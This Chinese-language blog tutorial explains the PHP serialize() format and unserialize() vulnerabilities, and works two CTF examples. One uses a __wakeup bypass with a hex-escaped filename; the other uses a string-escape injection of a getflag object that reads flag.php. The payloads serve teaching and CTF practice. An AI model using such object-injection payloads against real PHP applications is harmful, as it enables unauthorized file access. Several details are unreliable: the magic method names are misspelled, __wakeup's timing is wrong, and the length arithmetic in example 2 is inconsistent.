反序列化

反序列化

php序列化和反序列化

1.1PHP序列化

序列化是将变量或对象转换成字符串的过程,PHP中主要是通过serialize()函数来完成的

<?php
class student{
 public $name;
 public $id;
 public $score;
 
 function __construct($name,$id,$score){        //_construct:创建对象时初始化
  $this->name = $name;
  $this->id = $id;
  $this->score = $score;
 }
 
}

$student=new student("zhangsan",1,100);
var_dump(serialize($student));

?>

输出的结果为:

string(75) "O:7:"student":3:{s:4:"name";s:8:"zhangsan";s:2:"id";i:1;s:5:"score";i:100;}" 
  • string(75):代表"O:7:"student":3:{s:4:"name";s:8:"zhangsan";s:2:"id";i:1;s:5:"score";i:100;}" 长度为75
  • O代表对象,即object
  • 7表示类名student的长度
  • student表示类名
  • 3表示类里面有3个属性也称为变量
  • s即为string,表示这里name的属性为字符串
  • s:4:"name"代表的是属性,属性名长度和属性值,即name属性名长度为4,属性为字符串类型

其他的一些类型

Object(O): O:<class_name_length>:"<class_name>":<number_of_properties>:{<properties>}
Boolean(b): b:value;(0或1)
double(d)
integer(i): i:value;
array(a): a:<length>:{key,keyvalue}
string(s): s:<length>:value;
null(N)

1.2PHP反序列化

反序列化顾名思义就是序列化反过来,将字符串转换成变量或者对象的过程,主要通过unserialize()函数来完成

<?php
class student{
 public $name;
 public $id;
 public $score;
 
 function __construct($name,$id,$score){        //_construct:创建对象时初始化
  $this->name = $name;
  $this->id = $id;
  $this->score = $score;
 }
 
}

$student='O:7:"student":3:{s:4:"name";s:8:"zhangsan";s:2:"id";i:1;s:5:"score";i:100;}'; 
var_dump(unserialize($student)); //unserialize()对单一的以序列化的变量进行操场,转换回PHP的值

?>

返回结果

object(student)#1 (3) { ["name"]=> string(8) "zhangsan" ["id"]=> int(1) ["score"]=> int(100) } 

反序列化漏洞

产生条件

1.unserialize()函数的参数可控

2.php中有可以利用的类并且类中存在魔幻函数

php中的魔幻函数有很多,例如

_construct():创建对象时初始化
_destruction():结束时销毁对象
_toString():对象被当作字符串时使用
_sleep():序列化对象之前调用
_wakeup():反序列化之前调用
_call():调用对象不存在时使用
_get():调用私有属性时使用

具体使用方法可以参考这篇文章https://www.cnblogs.com/rianley/p/9448436.html

例题1

image-20250107233620608

先初始序列化

O:4:"baby":1:
{s:8:"filename";s:8:"flag.php";}

序列字符串中表示字符类型的s大写时,会被当成16进制 解析。从而绕过字符检测。 \66为f的十六进制,baby的1改为2绕过wake_up函数

str=O:4:"baby":2:
{s:8:"filename";S:8:"\66lag.php";}

例题2

image-20250107234646417

反序列化字符串逃逸

$str1 
='easyeasyeasyeasyeasyeasyeasyeasyeasy';
$str2 = ';s:4:"str2";O:7:"getflag":1:
{s:4:"file";s:8:"flag.php";}';
$data = serialize(new tmp($str1, $str2));
$data = str_replace("easy", "ez", $data);
值为:
O:3:"tmp":2:
{s:4:"str1";s:36:"ezezezezezezezezez";s:4
:"str2";s:56:";s:4:"str2";O:7:"getflag":1
:{s:4:"file";s:8:"flag.php";}";}

此时str1的字符长为34但easy替换为ez之后少了18个则 将后面的18个字符补上,即将";s:4:"str2";s:56:当成str1 的内容。在str2处补上缺少;s:4:"str2";此时str2就是序列 化的getflag类而不是字符串,在反序列化时会一起反序列化从而得到flag

posted @ 2025-01-08 00:00  根本睡不醒#  阅读(31)  评论(0)    收藏  举报